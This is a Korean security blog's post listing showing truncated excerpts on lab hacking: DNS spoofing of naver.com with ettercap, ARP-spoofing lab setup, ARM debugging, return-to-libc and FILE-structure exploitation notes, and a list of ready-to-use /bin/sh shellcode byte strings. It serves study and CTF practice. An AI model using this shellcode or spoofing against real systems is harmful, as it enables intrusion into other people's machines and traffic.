목록시스템 (15)
ghkdtlwns987
대충 이런 페이지를 하나 만들고 DNS 스푸핑으로 이 사이트로 유도 해보고자 한다. 방법이 여럿 있는데, 난 ettercap 을 이용해 보겠다. /etc/ettercap/etter.dns 파일을 열고 www.naver.com '공격자 ip'를 적어주자. sudo ettercap -G 이런 창이 뜬다. 여기서 빨간 네모 친 부분을 클릭하면 시작된다. 시작하면 plugins 를 클릭하면 Manage 어쩌고가 있는데, Manage 클릭 dns_spoof 더블클릭 빨간색 네모는 피해자 Gateway, 노란색 네모는 피해자 IP 이다. 각각 Target 1, Target2 에 넣어주면 된다. 그리고 피해자 PC 에서 naver.com 에 들어가 확인해 보자. 페이지가 연결되지 않는다. naver.com 으로 pi..
모의해킹 실습을 해 보자. 먼저 피해자 컴퓨터는 원도우 7이고, 방화벽 적용X, 웹 서버 X 인 상태로 진행할 것이다. 실습을 진행하기 앞서, Vmware 에서 NAT 설정을 꼭 해주어야 한다. 또한, 피해자 컴퓨터(윈도우) 에서 방화벽 해제를 하도록 하자. (윈도우 방화벽은 ping-icmp 를 차단하기 때문) 만약 방화벽을 해제하지 않으면 피해자 PC(윈도우) -> 공격자(Kali) 까지 ping 은 나가는데, 공격자 PC(Kali) -> 피해자(윈도우) 의 핑은 나가지 않게 된다. (왜그런지 모르겠으면 방화벽에 대해 공부하고 오자.) 쨋든 위와 같은 환경을 구축했으면 서로 ping 이 나가는지 확인해 보자. 서로 ping 이 나가는지 확인했으면 이제 arp_spoofing, ip_spoofing, ..
ARM 은 IDA 에서도 알아서 해주는데, gdb에서는 잘 안된다. (보기에도 불편하고...) 그래서 gdb에서도 분석할 수 있도록 글을 적고자 한다. (Ubuntu18.04) 1. gcc 설치 sudo apt-get install gcc-7-multilib-arm-linux-gnueabi -y sudo apt-get install gcc-7-multilib-arm-linux-gnueabihf -y 2.qemu 설치 sudo apt-get install qemu-user-static sudo apt-get install gdb-multiarch 보통 여기까지 설치하고 나면 기존에 실행안되던 ARM 프로그램들이 작동 될 것이다. 혹시 안된다면 qemu-arm-static -L /usr/arm-linux-g..
내가 시스템분야를 공부하다 보니 무엇을 공부하는지, 어디까지 공부해야하는지 물어보는 사람이 몇몇 있다. 나도 처음엔 그랬기에 그냥 내 생각을 적어보고자 한다. 나보다 고수분들도 많고, 나도 잘 하지는 못하지만, 지극히 개인적인 생각을 적어보겠다. 1. C언어 - 무조건 해야 한다. (계속 공부해도 부족한게 C언어이다.) (내가 했던 것) 열혈 C - C언어 코딩도장 - KNK - 윤성우 자료구조...(현재 진행) -그냥 하세요, 보안공부하는 사람 중에 C언어를 모르는 사람은 없어요 ㅠㅠ (IDA, Ghidra 분석할때 포인터 공부 제대로 안해놓으면 멘붕옴 ㅋㅋ...) 2. python - 이것도 꼭 알아야 함. 점프 투 파이썬(문자열 다루는 방식, 리스트 접근 등...) - 우선 이정도만 공부해보도록 하..
우선 리눅스롤 power_off 한 후에 Edit 창에 들어가서 Expand 를 누른다. (난 suspend라서 안됨)(그냥 보여주려고) 용량 설정 후 리눅스에 들어간다. sudo apt-get install gparted 설치 하고 sudo gparted 명령어 치기 위의 창에서 드리고 해서 용량을 설정 하고 빨간 부분을 클릭하면 성공적으로 용량이 확장된다.
시험기간이고, 시험 3일 남았는데, 멘탈 터져서 유튜브 보던 중, RTL 에 대해 물어보는 사람이 있어서 설명 해 준 김에 글을 적어보았다. ㅎㅎ 꽤 많은 사람들이 RTL을 설명할 때 왜 Dummy 값을 넣어주어야 하는지 모르는 사람이 꽤 있는거 같아서 글을 써보고자 한다. (Dummy 에 들어가는 곳은 RET 에 넣어준 함수가 종료된 후 호출하는 주소 라는 정도만 알고있는 것 같다.) RTL 에서 Dummy() 값에 왜 넣어주는지, 이유가 무엇인지, 한번 알아보도록 하자. 사실 이러한 원리는 스택 구조를 알아야 한다. 그 전에 leave, ret, call 명령어가 무엇을 의미하는지 보고 넘어가겠다. leave = mov esp ebp pop ebp ret = pop eip jmp eip call = ..
pwnable.tw 문제를 푸는데, .fini 는 따로 정리를 안해서 정리만 간단히? 하도록 하겠다. gdb로 프로그렘을 분석하다 본 사람들이면 __libc_csu_init() , .fini, .init 과 같은 함수들을 자주 봤을 것이다. 하지만 이게 무슨 함수인지 모르는 사람이 있다. __libc_csu_init 은 rtc 로 exploit 할 수 있고 , .init 또한 주소를 변경해 exploit 할 수 있는데, 이번엔 dl_fini로 exploit 하는 방법을 언급하고자 한다. dl_fini 를 보면 call 하는 부분이 있다. call 하는 명령에서 r12의 주소가 스택상에 존재한다. -> bof 나 fsb 로도 exploit 할 수 있다. 코드를 따로 가져오긴 좀 귀찮으니 pwnable.tw..
0x01. 가장 기본적으로 쉘을 띄우는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 bytes : 25 미포함 : setreuid(), exit() 0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 bytes : 31 미포함 : setreuid() 0x03. setreuid(geteuid(), getreuid()) 까지 포함..
이번엔 stdout 으로 libc 를 leak 하는 방법에 대해 알아보겠다. stdout 으로 leak 하기 위해선 stdout 구조체에 값을 입력할 수 있어야 한다. 1. stdout 이란? stdout 은 '표준 출력 스트림' 이다. printf 나, puts 등과 같은 함수를 사용할 시 stdout이 사용된다. 얘를 들어보자면 puts("ABCD") 와 같은 함수가 실행되면 내부적으로 write_sys 를 호출하여 출력이 되는데 , write_sys 는 'kernel buffer' 을 의미한다. 하지만 문자열을 출력할 때마다 커널버퍼를 사용하면 메모리 사용이 상당히 비효율적이다. 따라서 glibc 내부의 임시버퍼에 해당 문자열을 임시로 저장하는 방식을 이용하는데, _IO_2_1_stdout 는 _I..
이번엔 _IO_flush_all_lockp 함수로 Exploit 하는 방법에 대해 공부해보도록 하겠다. #define fflush(s) _IO_flush_all_lockp (0) fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode _IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_da..